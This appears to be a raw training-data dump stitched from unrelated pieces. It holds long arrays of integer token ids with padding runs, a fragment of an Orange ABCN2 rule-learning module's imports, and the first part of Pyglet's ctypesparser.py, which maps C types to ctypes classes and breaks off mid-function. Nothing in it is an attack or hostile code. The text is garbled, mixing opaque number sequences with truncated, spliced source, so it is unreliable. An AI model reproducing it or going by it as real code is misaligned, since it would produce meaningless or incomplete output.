367, 284, 315, 1425, 8, 552, 8, 23062, 2298, 288, 10739, 275, 13638, 815, 59, 472, 731, 397, 59, 73, 2677, 288, 11430, 18102, 275, 10739, 59, 16, 61, 288, 340, 440, 10739, 59, 17, 2189, 355, 5042, 275, 378, 288, 587, 26, 355, 367, 1335, 315, 1425, 8, 73, 13, 17, 12, 446, 17, 12, 446, 17, 304, 490, 5071, 63, 4904, 275, 13638, 815, 59, 472, 731, 397, 59, 74, 2677, 490, 340, 440, 5071, 63, 4904, 59, 17, 2189, 717, 2059, 355, 5042, 275, 10739, 59, 16, 61, 446, 5071, 63, 4904, 59, 16, 61, 327, 5042, 3268, 2234, 327, 8857, 5042, 31, 12077, 9848, 14, 22782, 690, 5504, 10857, 10986, 1380, 355, 327, 282, 221, 2906, 2619, 965, 12155, 9371, 314, 10757, 6279, 1434, 604, 14, 355, 340, 5042, 2695, 378, 503, 5042, 690, 15751, 10, 19, 26, 490, 367, 1335, 315, 1425, 8, 73, 11, 17, 12, 822, 8, 23062, 2298, 717, 2418, 4904, 275, 13638, 815, 59, 472, 731, 397, 59, 74, 2677, 717, 340, 440 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 2344, 199, 4, 1304, 26, 5823, 493, 14, 647, 12, 86, 413, 14, 24, 8353, 15, 1690, 15, 1644, 8733, 26, 1046, 26, 1194, 1315, 287, 5193, 7910, 2672, 199, 2344, 199, 199, 893, 26, 272, 687, 15073, 492, 5228, 199, 2590, 3545, 26, 272, 687, 5890, 492, 5228, 199, 504, 2197, 492, 2197, 12, 6871, 199, 504, 2702, 492, 7787, 12, 12831, 890, 199, 199, 504, 15444, 14, 9374, 492, 13599, 52, 90, 2354, 12, 577, 270, 52, 90, 2354, 12, 7573, 269, 1759, 63, 6215, 815, 199, 504, 15444, 14, 9374, 492, 7573, 269, 1759, 63, 2083, 12, 7573, 269, 1759, 63, 7473, 199, 199, 318, 485, 4414, 63, 875, 8, 83, 304, 272, 408, 24654, 282, 1059, 503, 3696, 1059, 370, 376, 10485, 3696, 1059, 1041, 272, 372, 308, 14, 2143, 360, 12292, 358, 199, 199, 63, 8084, 275, 485, 4414, 63, 875, 2258, 16, 358, 199, 199, 318, 485, 1516, 63, 875, 8, 83, 304, 272, 408, 24654, 282, 1059, 503, 3696, 1059, 370, 376, 10485, 1059, 1041, 272, 372, 620, 8, 83, 14, 2708, 360, 12292, 1333, 199, 199, 318, 1900, 63, 9374, 8, 2619, 12, 4090, 304, 272, 4854, 63, 5045, 275, 12696, 20, 83, 286, 4114, 88, 1227, 76, 7, 272, 4854, 63, 890, 275, 12831, 890, 8, 2993, 63, 5045, 9, 272, 334, 11523, 12, 1475, 12, 307, 280, 1226, 2037, 6507, 12, 307, 16753, 1516, 6507, 12, 28764, 6507, 12, 900, 6507, 12, 267, 730, 6507, 12, 1495, 6507, 9, 275, 221, 7787, 8, 2993, 63, 5045, 12, 4090, 14, 739, 8, 2993, 63, 890, 430, 339, 327, 4155, 3238, 652, 365, 282, 5823, 493, 8, 21, 9, 570, 272, 702, 10628, 508, 485, 4414, 63, 875, 360, 14226, 692, 659, 283, 13662, 10628, 450, 83, 7, 450, 4700, 8, 11523, 9, 339, 327, 5574, 734, 314, 14116, 5431, 12, 2257, 521, 4918, 436, 13638, 815, 13955, 14, 272, 666, 63, 5045, 275, 12696, 2840, 521, 6507, 9, 5030, 2818, 521, 6507, 9, 26256, 2818, 6215, 815, 9, 83, 2818, 1560, 6507, 9, 795, 7, 450, 1211, 8, 267, 900, 6507, 29, 521, 6507, 12, 13638, 815, 534, 76, 5342, 16804, 466, 6507, 12, 1495, 6507, 29, 1560, 6507, 9, 272, 666, 63, 890, 275, 12831, 890, 8, 576, 63, 5045, 9, 272, 666, 275, 7787, 8, 576, 63, 5045, 12, 4090, 14, 739, 8, 576, 63, 890, 430, 339, 327, 1852, 3238, 781, 23389, 314, 2451, 1329, 402, 1338, 272, 702, 822, 8, 576, 9, 508, 499, 627, 900, 6507, 435, 650, 627, 730, 6507, 435, 413, 272, 19077, 275, 359, 5286, 269, 1759, 63, 2083, 8, 1515, 9, 673, 367, 1752, 315, 666, 1491, 521, 6507, 2677, 272, 7403, 731, 397, 275, 769, 8, 576, 59, 521, 6507, 26, 18, 627, 900, 6507, 566, 272, 13638, 815, 63, 1773, 275, 666, 59, 18, 627, 900, 6507, 6809, 17, 61, 272, 5823, 1247, 63, 1773, 275, 666, 1988, 17, 61, 272, 2150, 666, 339, 327, 7132, 13638, 815, 1901, 7396, 2702, 83, 272, 13638, 815, 275, 942, 272, 5823, 1247, 275, 1052, 272, 284, 275, 378, 272, 1830, 284, 665, 822, 8, 6215, 815, 63, 1773, 304, 267, 327, 1172, 781, 21182, 1536, 642, 7137, 536, 5966, 31, 267, 28054, 63, 2743, 275, 13638, 815, 63, 1773, 59, 73, 11, 18, 61, 267, 340, 28054, 63, 2743, 440, 315, 5823, 1247, 26, 288, 302, 348, 275, 5823, 1247, 63, 1773, 14, 1623, 1547, 8084, 12, 28054, 63, 2743, 9, 288, 340, 302, 348, 665, 378, 26, 355, 302, 348, 275, 822, 8, 3903, 1247, 63, 1773, 9, 288, 5823, 1247, 59, 20027, 63, 2743, 61, 275, 485, 1516, 63, 875, 8, 355, 5823, 1247, 63, 1773, 59, 20027, 63, 2743, 26, 78, 348, 566, 267, 13638, 815, 14, 740, 1332, 6215, 815, 63, 1773, 59, 73, 467, 2432, 2155, 8, 6215, 815, 63, 1773, 59, 73, 11, 17, 2522, 2432, 5823, 1247, 59, 20027, 63, 2743, 2459, 267, 284, 847, 650, 339, 327, 7356, 1900, 314, 7137, 909, 272, 340, 822, 8, 6215, 815, 9, 508, 17, 503, 822, 8, 23062, 9, 508, 378, 26, 267, 13638, 815, 59, 16, 1527, 16, 467, 13638, 815, 59, 16, 1527, 18, 61, 267, 843, 275, 730, 8, 2619, 12, 334, 9278, 52, 90, 2354, 4706, 1211, 8, 288, 5718, 29, 2619, 12, 288, 485, 24036, 29, 5286, 269, 1759, 63, 7473, 8, 6215, 815, 59, 16, 1527, 16, 2522, 288, 485, 20027, 29, 6215, 815, 59, 16, 1527, 18, 2459, 272, 587, 26, 267, 327, 662, 285, 590, 10831, 675, 314, 1642, 4465, 900, 13638, 815, 267, 284, 275, 378, 267, 1830, 13638, 815, 59, 73, 1527, 17, 2189, 288, 284, 847, 413, 267, 340, 13638, 815, 59, 73, 61, 508, 13638, 815, 59, 472, 731, 397, 59, 16, 27589, 288, 19077, 59, 16, 61, 275, 2197, 14, 827, 267, 587, 26, 288, 19077, 14, 3176, 8, 16, 12, 2197, 14, 827, 9, 288, 7403, 731, 397, 14, 3176, 8, 16, 12, 284, 9, 398, 327, 8671, 14116, 2256, 267, 14116, 63, 815, 275, 942, 267, 367, 284, 315, 1425, 8, 552, 8, 23062, 2298, 288, 10739, 275, 13638, 815, 59, 472, 731, 397, 59, 73, 2677, 288, 11430, 18102, 275, 10739, 59, 16, 61, 288, 340, 440, 10739, 59, 17, 2189, 355, 5042, 275, 378, 288, 587, 26, 355, 367, 1335, 315, 1425, 8, 73, 13, 17, 12, 446, 17, 12, 446, 17, 304, 490, 5071, 63, 4904, 275, 13638, 815, 59, 472, 731, 397, 59, 74, 2677, 490, 340, 440, 5071, 63, 4904, 59, 17, 2189, 717, 2059, 355, 5042, 275, 10739, 59, 16, 61, 446, 5071, 63, 4904, 59, 16, 61, 327, 5042, 3268, 2234, 327, 8857, 5042, 31, 12077, 9848, 14, 22782, 690, 5504, 10857, 10986, 1380, 355, 327, 282, 221, 2906, 2619, 965, 12155, 9371, 314, 10757, 6279, 1434, 604, 14, 355, 340, 5042, 2695, 378, 503, 5042, 690, 15751, 10, 19, 26, 490, 367, 1335, 315, 1425, 8, 73, 11, 17, 12, 822, 8, 23062, 2298, 717, 2418, 4904, 275, 13638, 815, 59, 472, 731, 397, 59, 74, 2677, 717, 340, 440, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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learning. The main learner class is ABCN2. The first few classes are some variants of ABCN2 with reasonable settings. """ from Orange.classification.rules import DefaultLearner from Orange.classification.rules import ABCN2 from Orange.classification.rules import ABCN2Ordered from Orange.classification.rules import ABCN2M from Orange.classification.rules import ABBeamFilter from Orange.classification.rules import CoversArguments from Orange.classification.rules import SelectorAdder from Orange.classification.rules import ArgFilter from Orange.classification.rules import SelectorArgConditions from Orange.classification.rules import CovererAndRemover_Prob from Orange.classification.rules import avg from Orange.classification.rules import var from Orange.classification.rules import perc from Orange.classification.rules import EVDFitter from Orange.classification.rules import CrossValidation from Orange.classification.rules import PILAR from Orange.classification.rules import CN2UnorderedClassifier from orngABML import * #print createDichotomousClass
gpl-3.0
[ 624, 961, 859, 9031, 1423, 4079, 2332, 9328, 14, 199, 1918, 2446, 22876, 1021, 365, 17281, 46, 18, 14, 710, 1642, 9284, 3992, 787, 2005, 21169, 402, 17281, 46, 18, 543, 23255, 2202, 14, 221, 408, 421, 199, 504, 593, 1842, 14, 14368, 14, 4423, 492, 3758, 21424, 281, 199, 504, 593, 1842, 14, 14368, 14, 4423, 492, 17281, 46, 18, 199, 504, 593, 1842, 14, 14368, 14, 4423, 492, 17281, 46, 18, 22567, 199, 504, 593, 1842, 14, 14368, 14, 4423, 492, 17281, 46, 18, 45, 199, 504, 593, 1842, 14, 14368, 14, 4423, 492, 14840, 3655, 455, 4131, 199, 504, 593, 1842, 14, 14368, 14, 4423, 492, 1849, 14895, 14517, 199, 504, 593, 1842, 14, 14368, 14, 4423, 492, 3240, 3283, 2767, 424, 199, 504, 593, 1842, 14, 14368, 14, 4423, 492, 29560, 4131, 199, 504, 593, 1842, 14, 14368, 14, 4423, 492, 3240, 3283, 6373, 23107, 199, 504, 593, 1842, 14, 14368, 14, 4423, 492, 1849, 432, 3859, 3325, 497, 573, 422, 63, 20122, 199, 504, 593, 1842, 14, 14368, 14, 4423, 492, 12402, 199, 504, 593, 1842, 14, 14368, 14, 4423, 492, 2729, 199, 504, 593, 1842, 14, 14368, 14, 4423, 492, 1126, 67, 199, 504, 593, 1842, 14, 14368, 14, 4423, 492, 30069, 3888, 390, 351, 199, 504, 593, 1842, 14, 14368, 14, 4423, 492, 28965, 13816, 199, 504, 593, 1842, 14, 14368, 14, 4423, 492, 14937, 689, 199, 504, 593, 1842, 14, 14368, 14, 4423, 492, 445, 46, 18, 1358, 8235, 8508, 199, 504, 503, 2753, 1217, 1698, 492, 627, 199, 199, 3, 1361, 1218, 36, 1158, 3459, 7376, 2543, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 961, 859, 9031, 1423, 4079, 2332, 9328, 14, 199, 1918, 2446, 22876, 1021, 365, 17281, 46, 18, 14, 710, 1642, 9284, 3992, 787, 2005, 21169, 402, 17281, 46, 18, 543, 23255, 2202, 14, 221, 408, 421, 199, 504, 593, 1842, 14, 14368, 14, 4423, 492, 3758, 21424, 281, 199, 504, 593, 1842, 14, 14368, 14, 4423, 492, 17281, 46, 18, 199, 504, 593, 1842, 14, 14368, 14, 4423, 492, 17281, 46, 18, 22567, 199, 504, 593, 1842, 14, 14368, 14, 4423, 492, 17281, 46, 18, 45, 199, 504, 593, 1842, 14, 14368, 14, 4423, 492, 14840, 3655, 455, 4131, 199, 504, 593, 1842, 14, 14368, 14, 4423, 492, 1849, 14895, 14517, 199, 504, 593, 1842, 14, 14368, 14, 4423, 492, 3240, 3283, 2767, 424, 199, 504, 593, 1842, 14, 14368, 14, 4423, 492, 29560, 4131, 199, 504, 593, 1842, 14, 14368, 14, 4423, 492, 3240, 3283, 6373, 23107, 199, 504, 593, 1842, 14, 14368, 14, 4423, 492, 1849, 432, 3859, 3325, 497, 573, 422, 63, 20122, 199, 504, 593, 1842, 14, 14368, 14, 4423, 492, 12402, 199, 504, 593, 1842, 14, 14368, 14, 4423, 492, 2729, 199, 504, 593, 1842, 14, 14368, 14, 4423, 492, 1126, 67, 199, 504, 593, 1842, 14, 14368, 14, 4423, 492, 30069, 3888, 390, 351, 199, 504, 593, 1842, 14, 14368, 14, 4423, 492, 28965, 13816, 199, 504, 593, 1842, 14, 14368, 14, 4423, 492, 14937, 689, 199, 504, 593, 1842, 14, 14368, 14, 4423, 492, 445, 46, 18, 1358, 8235, 8508, 199, 504, 503, 2753, 1217, 1698, 492, 627, 199, 199, 3, 1361, 1218, 36, 1158, 3459, 7376, 2543, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
adamlwgriffiths/Pyglet
tools/wraptypes/ctypesparser.py
28
10431
#!/usr/bin/env python ''' ''' __docformat__ = 'restructuredtext' __version__ = '$Id$' from cparser import * ctypes_type_map = { # typename signed longs ('void', True, 0): 'None', ('int', True, 0): 'c_int', ('int', False, 0): 'c_uint', ('int', True, 1): 'c_long', ('int', False, 1): 'c_ulong', ('int', True, 2): 'c_longlong', ('int', False, 2): 'c_ulonglong', ('char', True, 0): 'c_char', ('char', False, 0): 'c_ubyte', ('short', True, 0): 'c_short', ('short', False, 0): 'c_ushort', ('float', True, 0): 'c_float', ('double', True, 0): 'c_double', ('size_t', True, 0): 'c_size_t', ('int8_t', True, 0): 'c_int8', ('int16_t', True, 0): 'c_int16', ('int32_t', True, 0): 'c_int32', ('int64_t', True, 0): 'c_int64', ('uint8_t', True, 0): 'c_uint8', ('uint16_t',True, 0): 'c_uint16', ('uint32_t',True, 0): 'c_uint32', ('uint64_t',True, 0): 'c_uint64', ('wchar_t', True, 0): 'c_wchar', ('ptrdiff_t',True, 0): 'c_ptrdiff_t', # Requires definition in preamble } reserved_names = ['None', 'True', 'False'] def get_ctypes_type(typ, declarator): signed = True typename = 'int' longs = 0 t = None for specifier in typ.specifiers: if isinstance(specifier, StructTypeSpecifier): t = CtypesStruct(specifier) elif isinstance(specifier, EnumSpecifier): t = CtypesEnum(specifier) elif specifier == 'signed': signed = True elif specifier == 'unsigned': signed = False elif specifier == 'long': longs += 1 else: typename = str(specifier) if not t: ctypes_name = ctypes_type_map.get((typename, signed, longs), typename) t = CtypesType(ctypes_name) while declarator and declarator.pointer: if declarator.parameters is not None: t = CtypesFunction(t, declarator.parameters) a = declarator.array while a: t = CtypesArray(t, a.size) a = a.array if type(t) == CtypesType and t.name == 'c_char': t = CtypesType('c_char_p') elif type(t) == CtypesType and t.name == 'c_wchar': t = CtypesType('c_wchar_p') else: t = CtypesPointer(t, declarator.qualifiers) declarator = declarator.pointer if declarator and declarator.parameters is not None: t = CtypesFunction(t, declarator.parameters) if declarator: a = declarator.array while a: t = CtypesArray(t, a.size) a = a.array return t # Remove one level of indirection from funtion pointer; needed for typedefs # and function parameters. def remove_function_pointer(t): if type(t) == CtypesPointer and type(t.destination) == CtypesFunction: return t.destination elif type(t) == CtypesPointer: t.destination = remove_function_pointer(t.destination) return t else: return t class CtypesTypeVisitor(object): def visit_struct(self, struct): pass def visit_enum(self, enum): pass class CtypesType(object): def __init__(self, name): self.name = name def get_required_type_names(self): '''Return all type names defined or needed by this type''' return (self.name,) def visit(self, visitor): pass def __str__(self): return self.name class CtypesPointer(CtypesType): def __init__(self, destination, qualifiers): self.destination = destination # ignore qualifiers, ctypes can't use them def get_required_type_names(self): if self.destination: return self.destination.get_required_type_names() else: return () def visit(self, visitor): if self.destination: self.destination.visit(visitor) def __str__(self): return 'POINTER(%s)' % str(self.destination) class CtypesArray(CtypesType): def __init__(self, base, count): self.base = base self.count = count def get_required_type_names(self): # XXX Could be sizeofs within count expression return self.base.get_required_type_names() def visit(self, visitor): # XXX Could be sizeofs within count expression self.base.visit(visitor) def __str__(self): if self.count is None: return 'POINTER(%s)' % str(self.base) if type(self.base) == CtypesArray: return '(%s) * %s' % (str(self.base), str(self.count)) else: return '%s * %s' % (str(self.base), str(self.count)) class CtypesFunction(CtypesType): def __init__(self, restype, parameters): if parameters and parameters[-1] == '...': # XXX Hmm, how to handle VARARGS with ctypes? For now, # drop it off (will cause errors). parameters = parameters[:-1] self.restype = restype # Don't allow POINTER(None) (c_void_p) as a restype... causes errors # when ctypes automagically returns it as an int. # Instead, convert to POINTER(c_void). c_void is not a ctypes type, # you can make it any arbitrary type. if type(self.restype) == CtypesPointer and \ type(self.restype.destination) == CtypesType and \ self.restype.destination.name == 'None': self.restype = CtypesPointer(CtypesType('c_void'), ()) self.argtypes = [remove_function_pointer( get_ctypes_type(p.type, p.declarator)) \ for p in parameters] def get_required_type_names(self): lst = list(self.restype.get_required_type_names()) for a in self.argtypes: lst += list(a.get_required_type_names()) return lst def visit(self, visitor): self.restype.visit(visitor) for a in self.argtypes: a.visit(visitor) def __str__(self): return 'CFUNCTYPE(%s)' % ', '.join([str(self.restype)] + \ [str(a) for a in self.argtypes]) last_tagnum = 0 def anonymous_struct_tag(): global last_tagnum last_tagnum += 1 return 'anon_%d' % last_tagnum class CtypesStruct(CtypesType): def __init__(self, specifier): self.is_union = specifier.is_union self.tag = specifier.tag if not self.tag: self.tag = anonymous_struct_tag() if specifier.declarations: self.opaque = False self.members = [] for declaration in specifier.declarations: t = get_ctypes_type(declaration.type, declaration.declarator) declarator = declaration.declarator if declarator is None: # XXX TEMPORARY while struct with no typedef not filled in return while declarator.pointer: declarator = declarator.pointer name = declarator.identifier self.members.append((name, t)) else: self.opaque = True self.members = [] def get_required_type_names(self): lst = ['struct_%s' % self.tag] for m in self.members: lst += m[1].get_required_type_names() return lst def visit(self, visitor): visitor.visit_struct(self) def __str__(self): return 'struct_%s' % self.tag last_tagnum = 0 def anonymous_enum_tag(): global last_tagnum last_tagnum += 1 return 'anon_%d' % last_tagnum class CtypesEnum(CtypesType): def __init__(self, specifier): self.tag = specifier.tag if not self.tag: self.tag = anonymous_enum_tag() value = 0 context = EvaluationContext() self.enumerators = [] for e in specifier.enumerators: if e.expression: try: value = int(e.expression.evaluate(context)) except: 